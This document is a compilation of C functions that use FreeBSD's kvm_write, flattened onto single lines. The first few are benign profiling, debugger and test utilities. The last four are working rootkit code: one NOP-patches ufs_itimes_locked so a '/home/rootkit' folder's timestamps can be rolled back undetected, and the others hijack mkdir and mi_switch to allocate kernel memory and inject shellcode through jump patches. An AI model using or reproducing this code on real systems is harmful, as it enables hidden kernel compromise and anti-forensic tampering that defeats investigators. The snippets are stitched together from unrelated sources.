/* * Enable or disable kernel profiling according to the state variable. */ void setprof(struct kvmvars *kvp, int state) { struct gmonparam *p = (struct gmonparam *)nl[N_GMONPARAM].n_value; size_t sz; int mib[3], oldstate; sz = sizeof(state); if (!kflag) { mib[0] = CTL_KERN; mib[1] = KERN_PROF; mib[2] = GPROF_STATE; if (sysctl(mib, 3, &oldstate, &sz, NULL, 0) < 0) goto bad; if (oldstate == state) return; (void)seteuid(0); if (sysctl(mib, 3, NULL, NULL, &state, sz) >= 0) { (void)seteuid(getuid()); return; } (void)seteuid(getuid()); } else if (kvm_write(kvp->kd, (u_long)&p->state, (void *)&state, sz) == (ssize_t)sz) return; bad: warnx("warning: cannot turn profiling %s", state == GMON_PROF_OFF ? "off" : "on"); }
/* * Reset the kernel profiling date structures. */ void reset(struct kvmvars *kvp) { char *zbuf; u_long biggest; int mib[3]; setprof(kvp, GMON_PROF_OFF); biggest = kvp->gpm.kcountsize; if (kvp->gpm.fromssize > biggest) biggest = kvp->gpm.fromssize; if (kvp->gpm.tossize > biggest) biggest = kvp->gpm.tossize; if ((zbuf = (char *)malloc(biggest)) == NULL) errx(12, "cannot allocate zbuf space"); bzero(zbuf, biggest); if (kflag) { if (kvm_write(kvp->kd, (u_long)kvp->gpm.kcount, zbuf, kvp->gpm.kcountsize) != (ssize_t)kvp->gpm.kcountsize) errx(13, "tickbuf zero: %s", kvm_geterr(kvp->kd)); if (kvm_write(kvp->kd, (u_long)kvp->gpm.froms, zbuf, kvp->gpm.fromssize) != (ssize_t)kvp->gpm.fromssize) errx(14, "froms zero: %s", kvm_geterr(kvp->kd)); if (kvm_write(kvp->kd, (u_long)kvp->gpm.tos, zbuf, kvp->gpm.tossize) != (ssize_t)kvp->gpm.tossize) errx(15, "tos zero: %s", kvm_geterr(kvp->kd)); return; } (void)seteuid(0); mib[0] = CTL_KERN; mib[1] = KERN_PROF; mib[2] = GPROF_COUNT; if (sysctl(mib, 3, NULL, NULL, zbuf, kvp->gpm.kcountsize) < 0) err(13, "tickbuf zero"); mib[2] = GPROF_FROMS; if (sysctl(mib, 3, NULL, NULL, zbuf, kvp->gpm.fromssize) < 0) err(14, "froms zero"); mib[2] = GPROF_TOS; if (sysctl(mib, 3, NULL, NULL, zbuf, kvp->gpm.tossize) < 0) err(15, "tos zero"); (void)seteuid(getuid()); free(zbuf); }
static int kgdb_trgt_xfer_memory(CORE_ADDR memaddr, char *myaddr, int len, int write, struct mem_attrib *attrib, struct target_ops *target) { struct target_ops *tb; if (kvm != NULL) { if (len == 0) return (0); if (!write) return (kvm_read(kvm, memaddr, myaddr, len)); else return (kvm_write(kvm, memaddr, myaddr, len)); } tb = find_target_beneath(target); return (tb->to_xfer_memory(memaddr, myaddr, len, write, attrib, tb)); }
ssize_t tst_write(uintptr_t addr, void *buf, size_t nbytes) { ssize_t e; ssize_t i; void *b; printf("kvm_write(%lx, [buf], %lu)\n", addr, nbytes); if ((e = kvm_write(cookie, addr, buf, nbytes)) != nbytes) printf("ERROR: kvm_write returned %ld instead of %lu\n", e, nbytes); if ((b = malloc(nbytes)) == 0) printf("ERROR: malloc for readback failed\n"); else { if ((i = kvm_read(cookie, addr, b, nbytes)) != nbytes) printf("ERROR: readback returned %ld\n", i); else if (memcmp(b, buf, nbytes)) printf("ERROR: write check failed!\n"); (void) free(b); } return (e); }
int main(int argc, char **argv) { char errbuf[_POSIX2_LINE_MAX]; kvm_t *kvm; unsigned long addr, width = 1, i; char *endptr, *endptr2; if (argc < 2) usage(); errno = 0; addr = strtoul(argv[1], &endptr, 0); if (endptr == argv[1]) errx(1, "no addr"); if (errno != 0) err(1, "addr '%s'", argv[1]); switch (*endptr) { case 0: break; case '/': endptr++; width = strtoul(endptr, &endptr2, 0); if (endptr2 == endptr) errx(1, "no width"); if (errno != 0) err(1, "width '%s'", endptr); break; default: errx(1, "invalid addr '%s'", argv[1]); } kvm = kvm_openfiles(NULL, NULL, NULL, O_RDWR, errbuf); if (kvm == NULL) errx(1, "%s", errbuf); if (argc < 3) { for (i = 0; i < width; i++) { char b; if (kvm_read(kvm, addr + i, &b, 1) != 1) errx(1, "%s", kvm_geterr(kvm)); printf("%#0*lx %02x\n", (int)sizeof(addr) * 2, addr + i, b); } } else { if (argc < width + 2) errx(1, "too few values for width %ld", width); width = argc - 2; for (i = 0; i < width; i++) { long v; char b, bo; errno = 0; v = strtol(argv[2 + i], &endptr, 0); if (endptr == argv[2 + i] || *endptr != 0) errx(1, "invalid value '%s'", argv[2 + i]); if (errno != 0 || v < 0 || v > 256) { if (errno == 0) errno = ERANGE; errx(1, "value '%s'", argv[2 + i]); } b = v; if (kvm_read(kvm, addr + i, &bo, 1) != 1) errx(1, "%s", kvm_geterr(kvm)); printf("%#0*lx %02x -> %02x\n", (int)sizeof(addr) * 2, addr + i, bo, b); if (kvm_write(kvm, addr + i, &b, 1) != 1) errx(1, "%s", kvm_geterr(kvm)); } } return 0; }
int main(int argc, char ** argv) { int i, offset1, offset2; char errbuf[_POSIX2_LINE_MAX]; kvm_t *kd; struct nlist nl[] = { {NULL}, {NULL}, }; unsigned char ufs_itimes_code[SIZE]; // The stat struct will hold the file stat which includes // file modification times. struct stat sb; struct timeval time[2]; kd = kvm_openfiles(NULL, NULL, NULL, O_RDWR, errbuf); if (kd == NULL) { fprintf(stderr, "ERROR: %s\n", errbuf); exit(-1); } // ufs_itimes_locked is the kernel routine that does the time // updation in the inode. nl[0].n_name = "ufs_itimes_locked"; if (kvm_nlist(kd, nl) < 0) { fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd)); exit(-1); } if (!nl[0].n_value) { fprintf(stderr, "ERROR: Symbol %s not found \n", nl[0].n_name); exit(-1); } if (kvm_read(kd, nl[0].n_value, ufs_itimes_code, SIZE) < 0) { fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd)); exit(-1); } // The ufs_itimes_locked code is sucked into the ufs_itimes_code // array. Then we search for the byte code patterns that // surround the DIP_SET macro's third occurrence. That will // help get the offsets for the two points where nop code // needs to be inserted. for (i = 0; i < SIZE - 2; i++) { if (ufs_itimes_code[i] == 0x89 && ufs_itimes_code[i+1] == 0x42 && ufs_itimes_code[i+2] == 0x30) { offset1 = i; } if (ufs_itimes_code[i] == 0x89 && ufs_itimes_code[i+1] == 0x4a && ufs_itimes_code[i+2] == 0x34) { offset2 = i; } } // Now we stat the folder and then the results are loaded into the // sb struct. if (stat("/home/rootkit", &sb) < 0) { fprintf(stderr, "STAT ERROR: %d\n", errno); exit(-1); } // The access time and modified time are extracted from the // sb struct and placed into the time array. // This is needed to rollback the access and modification // times. time[0].tv_sec = sb.st_atime; time[1].tv_sec = sb.st_mtime; // Now the kvm_write calls below will write the nop code // to the two offset locations. // This will nullify the code that will update the // inode change times. if (kvm_write(kd, nl[0].n_value + offset1, nop, sizeof(nop) - 1) < 0) { fprintf(stderr, "First ERROR: %s\n", kvm_geterr(kd)); exit(-1); } if (kvm_write(kd, nl[0].n_value + offset2, nop, sizeof(nop) - 1) < 0) { fprintf(stderr, "Second ERROR: %s\n", kvm_geterr(kd)); exit(-1); } // Now we do the thing in the folder which will cause the time updation. // But since the code has been nullified the time will be unchanged. // I have code in timecheck.c program which stats a file and gets // the time and prints it. char string[] = "ls ./" T_NAME; system(string); // The utimes call will update the times from the time array. // This will effectively "roll back" the time. // The change times are unaffected because we patched the // ufs_itimes_locked code. if (utimes("/home/rootkit", (struct timeval *)&time) < 0) { fprintf(stderr, "UTIMES ERROR: %d\n", errno); exit(-1); } // Now the kvm_write will write back the code snippet to the place // in ufs_itimes_locked where the nop code was written. This // removes the patch. if (kvm_write(kd, nl[0].n_value + offset1, &ufs_itimes_code[offset1], sizeof(nop) - 1) < 0) { fprintf(stderr, "Third ERROR %s\n", kvm_geterr(kd)); exit(-1); } if (kvm_write(kd, nl[0].n_value + offset2, &ufs_itimes_code[offset2], sizeof(nop) - 1) < 0) { fprintf(stderr, "Fourth ERROR %s\n", kvm_geterr(kd)); exit(-1); } if (kvm_close(kd) < 0 ) { fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd)); exit(-1); } exit(0); }
int main(int argc, char *argv[]) { int i, call_offset; char errbuf[_POSIX2_LINE_MAX]; kvm_t *kd; struct nlist nl[] = { {NULL}, {NULL}, {NULL}, {NULL}, {NULL}, {NULL}, }; unsigned char mkdir_code[sizeof(kmalloc)]; unsigned long addr, size; /* Initialize kernel virtual memory access. */ kd = kvm_openfiles(NULL, NULL, NULL, O_RDWR, errbuf); if (kd == NULL) { fprintf(stderr, "ERROR: %s\n", errbuf); exit(-1); } nl[0].n_name = "mkdir"; nl[1].n_name = "M_TEMP"; nl[2].n_name = "malloc"; nl[3].n_name = "copyout"; nl[4].n_name = "uprintf"; /* * Find the address of mkdir, M_TEMP, malloc, copyout, * and uprintf. */ if (kvm_nlist(kd, nl) < 0) { fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd)); exit(-1); } for (i = 0; i < 5; i++) { if (!nl[i].n_value) { fprintf(stderr, "ERROR: Symbol %s not found\n", nl[i].n_name); exit(-1); } } /* Save sizeof(kmalloc) bytes of mkdir. */ if (kvm_read(kd, nl[0].n_value, mkdir_code, sizeof(kmalloc)) < 0) { fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd)); exit(-1); } /* Search through mkdir for call kern_mkdir. */ for (i = 0; i < sizeof(kmalloc); i++) { if (mkdir_code[i] == 0xe8) { call_offset = i; break; } } /* Determine how much memory you need to allocate. */ size = (unsigned long)sizeof(hello) + (unsigned long)call_offset + (unsigned long)sizeof(jump); /* * Patch the kmalloc function code to contain the correct addresses * for M_TEMP, malloc, and copyout. */ *(unsigned long *)&kmalloc[10] = nl[1].n_value; *(unsigned long *)&kmalloc[34] = nl[2].n_value - (nl[0].n_value + K_OFFSET_1); *(unsigned long *)&kmalloc[64] = nl[3].n_value - (nl[0].n_value + K_OFFSET_2); /* Overwrite mkdir with kmalloc. */ if (kvm_write(kd, nl[0].n_value, kmalloc, sizeof(kmalloc)) < 0) { fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd)); exit(-1); } /* Allocate kernel memory. */ syscall(136, size, &addr); /* Restore mkdir. */ if (kvm_write(kd, nl[0].n_value, mkdir_code, sizeof(kmalloc)) < 0) { fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd)); exit(-1); } /* * Patch the "Hello, world!\n" function code to contain the * correct addresses for the "Hello, world!\n" string and uprintf. */ *(unsigned long *)&hello[24] = addr; *(unsigned long *)&hello[29] = nl[4].n_value - (addr + H_OFFSET_1); /* * Place the "Hello, world!\n" function code into the recently * allocated kernel memory. */ if (kvm_write(kd, addr, hello, sizeof(hello)) < 0) { fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd)); exit(-1); } /* * Place all the mkdir code up to but not including call kern_mkdir * after the "Hello, world!\n" function code. */ if (kvm_write(kd, addr + (unsigned long)sizeof(hello) - 1, mkdir_code, call_offset) < 0) { fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd)); exit(-1); } /* * Patch the unconditional jump code to jump back to the call * kern_mkdir statement within mkdir. */ *(unsigned long *)&jump[1] = nl[0].n_value + (unsigned long)call_offset; /* * Place the unconditional jump code into the recently allocated * kernel memory, after the mkdir code. */ if (kvm_write(kd, addr + (unsigned long)sizeof(hello) - 1 + (unsigned long)call_offset, jump, sizeof(jump)) < 0) { fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd)); exit(-1); } /* * Patch the unconditional jump code to jump to the start of the * "Hello, world!\n" function code. */ *(unsigned long *)&jump[1] = addr + 0x0f; /* * Overwrite the beginning of mkdir with the unconditional * jump code. */ if (kvm_write(kd, nl[0].n_value, jump, sizeof(jump)) < 0) { fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd)); exit(-1); } /* Close kd. */ if (kvm_close(kd) < 0) { fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd)); exit(-1); } exit(0); }
int main(int argc, char **argv) { int i; char errbuf[_POSIX2_LINE_MAX]; kvm_t *kd; struct nlist n1[5] = {}; unsigned char mkdir_code[sizeof(kmalloc)]; unsigned long addr; if (argc != 2) { printf("Usage:\n%s <size>\n", argv[0]); exit(1); } kd = kvm_openfiles(NULL, NULL, NULL, O_RDWR, errbuf); if (!kd) { fprintf(stderr, "ERROR: %s\n", errbuf); exit(1); } n1[0].n_name = "mkdir"; n1[1].n_name = "M_TEMP"; n1[2].n_name = "malloc"; n1[3].n_name = "copyout"; if (kvm_nlist(kd, n1) < 0) { fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd)); exit(1); } for (i = 0; i < 4; ++i) { if (!n1[i].n_value) { fprintf(stderr, "ERROR: Symbol %s not found.\n", n1[i].n_name); exit(1); } } *(unsigned long *)&kmalloc[10] = n1[1].n_value; *(unsigned long *)&kmalloc[34] = n1[2].n_value - (n1[0].n_value + KMALLOC_CALL_OFFSET_1); *(unsigned long *)&kmalloc[64] = n1[3].n_value - (n1[0].n_value + KMALLOC_CALL_OFFSET_2); if (kvm_read(kd, n1[0].n_value, mkdir_code, sizeof(mkdir_code)) < 0) { fprintf(stderr, "ERROR: %s\n.", kvm_geterr(kd)); exit(1); } if (kvm_write(kd, n1[0].n_value, kmalloc, sizeof(kmalloc)) < 0) { fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd)); exit(1); } syscall(136, (unsigned long)atoi(argv[1]), &addr); printf("Address of allocated kernel memory: 0x%x\n", addr); if (kvm_write(kd, n1[0].n_value, mkdir_code, sizeof(kmalloc)) < 0) { fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd)); exit(1); } if (kvm_close(kd) < 0) { fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd)); exit(1); } exit(0); }
int main(int argc, char ** argv) { int i, call_offset , syscall_num; struct module_stat stat ; char errbuf[_POSIX2_LINE_MAX]; kvm_t *kd; struct nlist nl[] = { {NULL}, {NULL}, {NULL}}; unsigned char miswitch_code[100]; unsigned long addr = 0, addr1 = 0, size; stat.version = sizeof(stat) ; modstat(modfind("kmalloc"), &stat); syscall_num = stat.data.intval; syscall(syscall_num, 100, &addr1); // This address addr1 is where we will store the original // version of the mi_switch code. This will be used // by the uninstall routine. printf("Address 1 is %0x \n", addr1); kd = kvm_openfiles(NULL, NULL, NULL, O_RDWR, errbuf); if (kd == NULL) { fprintf(stderr, "ERROR: %s\n", errbuf); exit(-1); } nl[0].n_name = "printf"; nl[1].n_name = "mi_switch"; if (kvm_nlist(kd, nl) < 0) { fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd)); exit(-1); } if (!nl[0].n_value) { fprintf(stderr, "ERROR: Symbol %s not found \n"); exit(-1); } if (kvm_read(kd, nl[1].n_value, miswitch_code, 100) < 0 ) { fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd)); exit(-1); } // We want to copy the start of the mi_switch code // into the array. // We pick a point somewhere near the start (the point // is defined by the 0x64 bytecode. for (i = 0; i < 100 ; i++) { if (miswitch_code[i] == 0x64) { call_offset = i; break; } } size = (unsigned long)sizeof(shellcode) + (unsigned long)call_offset + (unsigned long)sizeof(jump); // This memory allocation is for copying the shellcode and the starting // few bytes of mi_switch and the jmp code. syscall(syscall_num, size, &addr); printf("Call offset for kern_mkdir is %d\n", call_offset); // The two patches below are for a) The first movl for the format string // of the printf call and b) for the address of the printf call. *(unsigned long *)&shellcode[41] = addr; *(unsigned long *)&shellcode[50] = nl[0].n_value - (addr + H_OFFSET_1); // Write shellcode if (kvm_write(kd, addr, shellcode, sizeof(shellcode)) < 0 ) { fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd)); exit(-1); } // Copy mi_switch to addr1 for later restore in uninstall routine. if (kvm_write(kd, addr1, miswitch_code, sizeof(miswitch_code)) < 0) { fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd)); exit(-1); } // Now write the first few bytes of mi_switch after the shellcode. if (kvm_write(kd, addr + (unsigned long)sizeof(shellcode) - 1, miswitch_code, call_offset) < 0) { fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd)); exit(-1); } // First patch of jump to jump back to the point in mi_switch after the // initial bytes that were copied to the shellcode. *(unsigned long *)&jump[1] = nl[1].n_value + (unsigned long)call_offset; // Write the patched jump code after the mi_switch code. if (kvm_write(kd, addr + (unsigned long)sizeof(shellcode) - 1 + (unsigned long)call_offset, jump, sizeof(jump)) < 0) { fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd)); exit(-1); } // Second patch of jump to jump to the part of the shellcode after // the initial data string. Data doesnt execute, ha ha. *(unsigned long *)&jump[1] = addr + 0x17; // now write that jump code to the start of the mi_switch code. if (kvm_write(kd, nl[1].n_value , jump, sizeof(jump)) < 0) { fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd)); exit(-1); } if (kvm_close(kd) < 0) { fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd)); exit(-1); } exit(0); }